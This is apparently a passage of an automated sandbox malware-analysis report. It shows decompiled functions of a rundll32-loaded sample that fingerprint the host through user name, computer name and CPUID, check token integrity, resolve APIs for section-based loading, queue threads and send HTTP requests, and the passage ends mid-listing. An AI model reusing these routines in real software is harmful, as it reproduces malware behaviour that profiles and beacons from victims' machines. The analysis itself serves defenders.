				if(__eax == 0) {
					_t59 =  *0x4bea310; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E04BE71CD( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x4bea344 ^ 0x6c7261ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x4bea2d8, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E04BE56B9(_v8 + _v8, _t64);
							}
							HeapFree( *0x4bea2d8, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x4bea2d8, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E04BE56B9(_v8 + _v8, _t64);
						}
						HeapFree( *0x4bea2d8, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}



















                  0x04be3bd3
                  0x04be3bdb
                  0x04be3bdf
                  0x04be3be2
                  0x04be3be7
                  0x04be3be9
                  0x04be3bee
                  0x04be3bee
                  0x04be3bf4
                  0x04be3bf6
                  0x04be3c03
                  0x04be3c64
                  0x04be3c05
                  0x04be3c0a
                  0x04be3c10
                  0x04be3c15
                  0x04be3c23
                  0x04be3c27
                  0x04be3c36
                  0x04be3c3d
                  0x04be3c44
                  0x04be3c44
                  0x04be3c4f
                  0x04be3c4f
                  0x04be3c27
                  0x04be3c15
                  0x04be3c66
                  0x04be3c6c
                  0x04be3c76
                  0x04be3c78
                  0x04be3c7d
                  0x04be3c8c
                  0x04be3c90
                  0x04be3c9b
                  0x04be3ca2
                  0x04be3ca9
                  0x04be3ca9
                  0x04be3cb5
                  0x04be3cb5
                  0x04be3c90
                  0x04be3cc0
                  0x04be3cc2
                  0x04be3cc5
                  0x04be3cc7
                  0x04be3cca
                  0x04be3ccd
                  0x04be3cd7
                  0x04be3cdb
                  0x04be3cdf

                  APIs
                  • GetUserNameW.ADVAPI32(00000000,?), ref: 04BE3C0A
                  • RtlAllocateHeap.NTDLL(00000000,?), ref: 04BE3C21
                  • GetUserNameW.ADVAPI32(00000000,?), ref: 04BE3C2E
                  • HeapFree.KERNEL32(00000000,00000000), ref: 04BE3C4F
                  • GetComputerNameW.KERNEL32(00000000,00000000), ref: 04BE3C76
                  • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 04BE3C8A
                  • GetComputerNameW.KERNEL32(00000000,00000000), ref: 04BE3C97
                  • HeapFree.KERNEL32(00000000,00000000), ref: 04BE3CB5
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: HeapName$AllocateComputerFreeUser
                  • String ID:
                  • API String ID: 3239747167-0
                  • Opcode ID: 74598c2ccaa7b1070f8a0e675f913a097be90bd2edc5d069b60522ef36e4d9b3
                  • Instruction ID: b6838846eafdaf6ee600db1f66908eb15ece2e3443a5297e49f551204c03a464
                  • Opcode Fuzzy Hash: 74598c2ccaa7b1070f8a0e675f913a097be90bd2edc5d069b60522ef36e4d9b3
                  • Instruction Fuzzy Hash: 5C3108B1A00205EFDB10DFBADD81A6ABBF9EB88700F51446AE905D7211E734EE559B20
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE4BE7 Relevance: 12.1, APIs: 8, Instructions: 75networkCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 93%
                  			E04BE4BE7(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				void* _t21;
				intOrPtr _t24;
				void* _t37;
				void* _t41;
				intOrPtr* _t45;

				_t41 = __edi;
				_t37 = __ebx;
				_t45 = __eax;
				_t16 =  *((intOrPtr*)(__eax + 0x20));
				if( *((intOrPtr*)(__eax + 0x20)) != 0) {
					E04BE16B2(_t16, __ecx, 0xea60);
				}
				_t17 =  *(_t45 + 0x18);
				_push(_t37);
				_push(_t41);
				if(_t17 != 0) {
					InternetSetStatusCallback(_t17, 0);
					InternetCloseHandle( *(_t45 + 0x18)); // executed
				}
				_t18 =  *(_t45 + 0x14);
				if(_t18 != 0) {
					InternetSetStatusCallback(_t18, 0);
					InternetCloseHandle( *(_t45 + 0x14));
				}
				_t19 =  *(_t45 + 0x10);
				if(_t19 != 0) {
					InternetSetStatusCallback(_t19, 0);
					InternetCloseHandle( *(_t45 + 0x10));
				}
				_t20 =  *(_t45 + 0x1c);
				if(_t20 != 0) {
					CloseHandle(_t20);
				}
				_t21 =  *(_t45 + 0x20);
				if(_t21 != 0) {
					CloseHandle(_t21);
				}
				_t22 =  *((intOrPtr*)(_t45 + 8));
				if( *((intOrPtr*)(_t45 + 8)) != 0) {
					E04BE61DA(_t22);
					 *((intOrPtr*)(_t45 + 8)) = 0;
					 *((intOrPtr*)(_t45 + 0x30)) = 0;
				}
				_t23 =  *((intOrPtr*)(_t45 + 0xc));
				if( *((intOrPtr*)(_t45 + 0xc)) != 0) {
					E04BE61DA(_t23);
				}
				_t24 =  *_t45;
				if(_t24 != 0) {
					_t24 = E04BE61DA(_t24);
				}
				_t46 =  *((intOrPtr*)(_t45 + 4));
				if( *((intOrPtr*)(_t45 + 4)) != 0) {
					return E04BE61DA(_t46);
				}
				return _t24;
			}












                  0x04be4be7
                  0x04be4be7
                  0x04be4be9
                  0x04be4beb
                  0x04be4bf2
                  0x04be4bf9
                  0x04be4bf9
                  0x04be4bfe
                  0x04be4c01
                  0x04be4c08
                  0x04be4c11
                  0x04be4c15
                  0x04be4c1a
                  0x04be4c1a
                  0x04be4c1c
                  0x04be4c21
                  0x04be4c25
                  0x04be4c2a
                  0x04be4c2a
                  0x04be4c2c
                  0x04be4c31
                  0x04be4c35
                  0x04be4c3a
                  0x04be4c3a
                  0x04be4c3c
                  0x04be4c47
                  0x04be4c4a
                  0x04be4c4a
                  0x04be4c4c
                  0x04be4c51
                  0x04be4c54
                  0x04be4c54
                  0x04be4c56
                  0x04be4c5d
                  0x04be4c60
                  0x04be4c65
                  0x04be4c68
                  0x04be4c68
                  0x04be4c6b
                  0x04be4c70
                  0x04be4c73
                  0x04be4c73
                  0x04be4c78
                  0x04be4c7c
                  0x04be4c7f
                  0x04be4c7f
                  0x04be4c84
                  0x04be4c89
                  0x00000000
                  0x04be4c8c
                  0x04be4c93

                  APIs
                  • InternetSetStatusCallback.WININET(?,00000000), ref: 04BE4C15
                  • InternetCloseHandle.WININET(?), ref: 04BE4C1A
                  • InternetSetStatusCallback.WININET(?,00000000), ref: 04BE4C25
                  • InternetCloseHandle.WININET(?), ref: 04BE4C2A
                  • InternetSetStatusCallback.WININET(?,00000000), ref: 04BE4C35
                  • InternetCloseHandle.WININET(?), ref: 04BE4C3A
                  • CloseHandle.KERNEL32(?,00000000,00000102,?,?,04BE2248,?,?,74CF81D0,00000000,00000000), ref: 04BE4C4A
                  • CloseHandle.KERNEL32(?,00000000,00000102,?,?,04BE2248,?,?,74CF81D0,00000000,00000000), ref: 04BE4C54
                    • Part of subcall function 04BE16B2: WaitForMultipleObjects.KERNEL32(00000002,04BE7C47,00000000,04BE7C47,?,?,?,04BE7C47,0000EA60), ref: 04BE16CD
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Internet$CloseHandle$CallbackStatus$MultipleObjectsWait
                  • String ID:
                  • API String ID: 2824497044-0
                  • Opcode ID: 0975a4594de365b48149b7b4454318599277d85e558082311865394e5e6ef3cb
                  • Instruction ID: c82b120abab0cd233698314587bd1ecaeac615a4ba96621c860836760eaa35d5
                  • Opcode Fuzzy Hash: 0975a4594de365b48149b7b4454318599277d85e558082311865394e5e6ef3cb
                  • Instruction Fuzzy Hash: A4114C76600658ABC630AFBBED84C2BB7EDEFC43053950E99E089D3611C735FC458A60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE5E40 Relevance: 10.6, APIs: 7, Instructions: 75COMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 100%
                  			E04BE5E40(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x4bea2fc > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E04BE33DC(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E04BE61DA(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}









                  0x04be5e4d
                  0x04be5e54
                  0x04be5e5b
                  0x04be5e6f
                  0x04be5e7a
                  0x04be5e92
                  0x04be5e9f
                  0x04be5ea2
                  0x04be5ea7
                  0x04be5eb2
                  0x04be5eb6
                  0x04be5ec5
                  0x04be5ec9
                  0x04be5ee5
                  0x04be5ee5
                  0x04be5ee9
                  0x04be5ee9
                  0x04be5eee
                  0x04be5ef2
                  0x04be5ef8
                  0x04be5ef9
                  0x04be5f00
                  0x04be5f06

                  APIs
                  • OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 04BE5E72
                  • GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 04BE5E92
                  • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 04BE5EA2
                  • CloseHandle.KERNEL32(00000000), ref: 04BE5EF2
                    • Part of subcall function 04BE33DC: RtlAllocateHeap.NTDLL(00000000,00000000,04BE62F6), ref: 04BE33E8
                  • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 04BE5EC5
                  • GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 04BE5ECD
                  • GetSidSubAuthority.ADVAPI32(00000000,?), ref: 04BE5EDD
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
                  • String ID:
                  • API String ID: 1295030180-0
                  • Opcode ID: 1042875101749ee67b6a3aed8cbd18df71871ec6cb33193b81077465abfb5ccd
                  • Instruction ID: b29d87af7eff6317327522f8bd4501c92c8a4a98acd6a46c389b9704b89a6c00
                  • Opcode Fuzzy Hash: 1042875101749ee67b6a3aed8cbd18df71871ec6cb33193b81077465abfb5ccd
                  • Instruction Fuzzy Hash: 0D211675900219BFEB11DFA6DC44EBEBBB9EB88304F0000A6E911A6191CB759A44EB60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE6675 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68stringCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 64%
                  			E04BE6675(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t19;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t38;
				intOrPtr* _t39;
				char* _t40;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x4bea348; // 0xa1d5a8
				_t1 = _t9 + 0x4beb516; // 0x253d7325
				_t36 = 0;
				_t28 = E04BE5815(__ecx, _t1);
				if(_t28 != 0) {
					_t39 = __imp__;
					_t13 =  *_t39(_t28, _t38);
					_v8 = _t13;
					_t6 =  *_t39(_a4) + 1; // 0x5609601
					_t40 = E04BE33DC(_v8 + _t6);
					if(_t40 != 0) {
						strcpy(_t40, _t28);
						_pop(_t33);
						__imp__(_t40, _a4);
						_t19 = E04BE5063(_t33, _t34, _t40, _a8); // executed
						_t36 = _t19;
						E04BE61DA(_t40);
						_t42 = E04BE4AC7(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E04BE61DA(_t36);
							_t36 = _t42;
						}
						_t43 = E04BE2708(_t36, _t33);
						if(_t43 != 0) {
							E04BE61DA(_t36);
							_t36 = _t43;
						}
					}
					E04BE61DA(_t28);
				}
				return _t36;
			}
















                  0x04be6675
                  0x04be6678
                  0x04be6679
                  0x04be6680
                  0x04be6687
                  0x04be668e
                  0x04be6692
                  0x04be6699
                  0x04be66a0
                  0x04be66a5
                  0x04be66ad
                  0x04be66b7
                  0x04be66bb
                  0x04be66bf
                  0x04be66c5
                  0x04be66ca
                  0x04be66d4
                  0x04be66da
                  0x04be66dc
                  0x04be66f3
                  0x04be66f7
                  0x04be66fa
                  0x04be66ff
                  0x04be66ff
                  0x04be6708
                  0x04be670c
                  0x04be670f
                  0x04be6714
                  0x04be6714
                  0x04be670c
                  0x04be6717
                  0x04be671c
                  0x04be6722

                  APIs
                    • Part of subcall function 04BE5815: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04BE668E,253D7325,00000000,00000000,?,7491C740,04BE3ECE), ref: 04BE587C
                    • Part of subcall function 04BE5815: sprintf.NTDLL ref: 04BE589D
                  • lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,04BE3ECE,00000000,05609600), ref: 04BE66A0
                  • lstrlen.KERNEL32(00000000,?,7491C740,04BE3ECE,00000000,05609600), ref: 04BE66A8
                    • Part of subcall function 04BE33DC: RtlAllocateHeap.NTDLL(00000000,00000000,04BE62F6), ref: 04BE33E8
                  • strcpy.NTDLL ref: 04BE66BF
                  • lstrcat.KERNEL32(00000000,00000000), ref: 04BE66CA
                    • Part of subcall function 04BE5063: lstrlen.KERNEL32(00000000,00000000,04BE3ECE,00000000,?,04BE66D9,00000000,04BE3ECE,?,7491C740,04BE3ECE,00000000,05609600), ref: 04BE5074
                    • Part of subcall function 04BE61DA: RtlFreeHeap.NTDLL(00000000,00000000,04BE6383,00000000,?,00000000,00000000), ref: 04BE61E6
                  • StrTrimA.SHLWAPI(00000000,=,00000000,00000000,04BE3ECE,?,7491C740,04BE3ECE,00000000,05609600), ref: 04BE66E7
                    • Part of subcall function 04BE4AC7: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,04BE66F3,00000000,?,7491C740,04BE3ECE,00000000,05609600), ref: 04BE4AD1
                    • Part of subcall function 04BE4AC7: _snprintf.NTDLL ref: 04BE4B2F
                  Strings
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
                  • String ID: =
                  • API String ID: 2864389247-1428090586
                  • Opcode ID: 018e2d588b9cf3bcc48c615297bf4855a2e1525d484e5a3cec2e755e49401ab6
                  • Instruction ID: 4c6c57d6dd2a24952acc850c3ff667b5f8dfaef0dd009a55edd4bf0da484c1d0
                  • Opcode Fuzzy Hash: 018e2d588b9cf3bcc48c615297bf4855a2e1525d484e5a3cec2e755e49401ab6
                  • Instruction Fuzzy Hash: 6E11E333900125779A12BBBA9C84C7F37ADDEC96683450096F900AB202DF79FD0247A1
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04781142 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 337 4781142-4781154 call 4782046 340 478115a-478118f GetModuleHandleA GetProcAddress 337->340 341 4781215 337->341 343 478120d-4781213 call 4781cd6 340->343 344 4781191-47811a5 GetProcAddress 340->344 342 478121c-4781223 341->342 343->342 344->343 346 47811a7-47811bb GetProcAddress 344->346 346->343 348 47811bd-47811d1 GetProcAddress 346->348 348->343 349 47811d3-47811e7 GetProcAddress 348->349 349->343 350 47811e9-47811fa call 4781e76 349->350 352 47811ff-4781204 350->352 352->343 353 4781206-478120b 352->353 353->342
                  C-Code - Quality: 100%
                  			E04781142(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E04782046(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x47841c4 + 0x478512f);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x47841c4 + 0x4785139);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E04781CD6(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x47841c4 + 0x4785000);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x47841c4 + 0x47850b9);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x47841c4 + 0x478505a);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x47841c4 + 0x4785052);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E04781E76(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}












                  0x04781150
                  0x04781154
                  0x04781215
                  0x0478115a
                  0x04781172
                  0x04781181
                  0x04781188
                  0x0478118a
                  0x0478118f
                  0x0478120d
                  0x0478120e
                  0x04781191
                  0x0478119e
                  0x047811a0
                  0x047811a5
                  0x00000000
                  0x047811a7
                  0x047811b4
                  0x047811b6
                  0x047811bb
                  0x00000000
                  0x047811bd
                  0x047811ca
                  0x047811cc
                  0x047811d1
                  0x00000000
                  0x047811d3
                  0x047811e0
                  0x047811e2
                  0x047811e7
                  0x00000000
                  0x047811e9
                  0x047811ef
                  0x047811f5
                  0x047811fa
                  0x047811ff
                  0x04781204
                  0x00000000
                  0x04781206
                  0x04781209
                  0x04781209
                  0x04781204
                  0x047811e7
                  0x047811d1
                  0x047811bb
                  0x047811a5
                  0x0478118f
                  0x04781223

                  APIs
                    • Part of subcall function 04782046: RtlAllocateHeap.NTDLL(00000000,?,0478124D,00000030,74CB63F0,00000000), ref: 04782052
                  • GetModuleHandleA.KERNEL32(?,00000020), ref: 04781166
                  • GetProcAddress.KERNEL32(00000000,?), ref: 04781188
                  • GetProcAddress.KERNEL32(00000000,?), ref: 0478119E
                  • GetProcAddress.KERNEL32(00000000,?), ref: 047811B4
                  • GetProcAddress.KERNEL32(00000000,?), ref: 047811CA
                  • GetProcAddress.KERNEL32(00000000,?), ref: 047811E0
                    • Part of subcall function 04781E76: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000), ref: 04781ED3
                    • Part of subcall function 04781E76: memset.NTDLL ref: 04781EF5
                  Memory Dump Source
                  • Source File: 00000004.00000002.776956748.0000000004780000.00000040.00001000.00020000.00000000.sdmp, Offset: 04780000, based on PE: true
                  • Associated: 00000004.00000002.776956748.0000000004785000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4780000_rundll32.jbxd
                  Similarity
                  • API ID: AddressProc$AllocateCreateHandleHeapModuleSectionmemset
                  • String ID:
                  • API String ID: 3012371009-0
                  • Opcode ID: 932a83fa8944938a245a51a0bff44257d231768adead00732a55c9e51e5437a5
                  • Instruction ID: 07176cf4e6aebd620cc759667403e8715de3bf4f1ab67055ce3990d08b64e258
                  • Opcode Fuzzy Hash: 932a83fa8944938a245a51a0bff44257d231768adead00732a55c9e51e5437a5
                  • Instruction Fuzzy Hash: 182139B0A8060AAFD720EFA9CD84D9A77ECEF04314711856DE819C7351E778E9058B60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 047817EF Relevance: 9.1, APIs: 6, Instructions: 71memoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 354 47817ef-4781803 355 4781874-4781881 InterlockedDecrement 354->355 356 4781805-4781806 354->356 358 47818c1-47818c8 355->358 359 4781883-4781889 355->359 357 478180c-4781819 InterlockedIncrement 356->357 356->358 357->358 360 478181f-4781833 HeapCreate 357->360 361 478188b 359->361 362 47818b5-47818bb HeapDestroy 359->362 364 478186f-4781872 360->364 365 4781835-4781866 call 4781df6 call 4781f97 360->365 363 4781890-47818a0 SleepEx 361->363 362->358 366 47818a9-47818af CloseHandle 363->366 367 47818a2-47818a7 363->367 364->358 365->358 372 4781868-478186b 365->372 366->362 367->363 367->366 372->364
                  C-Code - Quality: 86%
                  			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x4784188);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x478418c;
						if( *0x478418c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x4784198;
								if( *0x4784198 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x478418c);
						}
						HeapDestroy( *0x4784190);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x4784188) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						 *0x4784190 = _t18;
						_t41 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x47841b0 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E04781F97(E04781FF5, E04781DF6(_a12, 1, 0x4784198, _t41));
							 *0x478418c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}












                  0x047817f2
                  0x047817fe
                  0x04781800
                  0x04781803
                  0x04781879
                  0x0478187f
                  0x04781881
                  0x04781883
                  0x04781889
                  0x0478188b
                  0x04781890
                  0x04781893
                  0x0478189e
                  0x047818a0
                  0x00000000
                  0x00000000
                  0x047818a2
                  0x047818a5
                  0x047818a7
                  0x00000000
                  0x00000000
                  0x00000000
                  0x047818a7
                  0x047818af
                  0x047818af
                  0x047818bb
                  0x047818bb
                  0x04781805
                  0x04781806
                  0x04781826
                  0x0478182c
                  0x04781831
                  0x04781833
                  0x0478186f
                  0x0478186f
                  0x04781835
                  0x0478183d
                  0x04781844
                  0x0478184e
                  0x0478185a
                  0x0478185f
                  0x04781866
                  0x0478186b
                  0x00000000
                  0x0478186b
                  0x04781866
                  0x04781833
                  0x04781806
                  0x047818c8

                  APIs
                  • InterlockedIncrement.KERNEL32(04784188), ref: 04781811
                  • HeapCreate.KERNEL32(00000000,00400000,00000000), ref: 04781826
                    • Part of subcall function 04781F97: CreateThread.KERNEL32 ref: 04781FAE
                    • Part of subcall function 04781F97: QueueUserAPC.KERNEL32(?,00000000,?), ref: 04781FC3
                    • Part of subcall function 04781F97: GetLastError.KERNEL32(00000000), ref: 04781FCE
                    • Part of subcall function 04781F97: TerminateThread.KERNEL32(00000000,00000000), ref: 04781FD8
                    • Part of subcall function 04781F97: CloseHandle.KERNEL32(00000000), ref: 04781FDF
                    • Part of subcall function 04781F97: SetLastError.KERNEL32(00000000), ref: 04781FE8
                  • InterlockedDecrement.KERNEL32(04784188), ref: 04781879
                  • SleepEx.KERNEL32(00000064,00000001), ref: 04781893
                  • CloseHandle.KERNEL32 ref: 047818AF
                  • HeapDestroy.KERNEL32 ref: 047818BB
                  Memory Dump Source
                  • Source File: 00000004.00000002.776956748.0000000004780000.00000040.00001000.00020000.00000000.sdmp, Offset: 04780000, based on PE: true
                  • Associated: 00000004.00000002.776956748.0000000004785000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4780000_rundll32.jbxd
                  Similarity
                  • API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
                  • String ID:
                  • API String ID: 2110400756-0
                  • Opcode ID: d1b0e28195bfbbb7f41ab97136d44417d60cedf8e92e6518930a185246ddb8c5
                  • Instruction ID: 56e02d6d29de3da2cde470db488b00de1b1fae52a45e26c37bc1346a0423064c
                  • Opcode Fuzzy Hash: d1b0e28195bfbbb7f41ab97136d44417d60cedf8e92e6518930a185246ddb8c5
                  • Instruction Fuzzy Hash: 5E21D171AC031AEFDB10BFA9EC859993BA9F710A707A0842DE905D3300E678AD01CB50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE51D8 Relevance: 9.0, APIs: 6, Instructions: 45networkCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04BE51D8(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E04BE2058(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E04BE7B83(_t9, _t18, _t22, _a8); // executed
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					if(HttpSendRequestA( *(_t22 + 0x18), 0, 0xffffffff, 0, 0) != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}







                  0x04be51d8
                  0x04be51e5
                  0x04be51e7
                  0x04be524a
                  0x00000000
                  0x04be524a
                  0x04be51ff
                  0x04be5206
                  0x04be5212
                  0x04be5217
                  0x04be522d
                  0x04be523d
                  0x00000000
                  0x04be522f
                  0x04be522f
                  0x04be5236
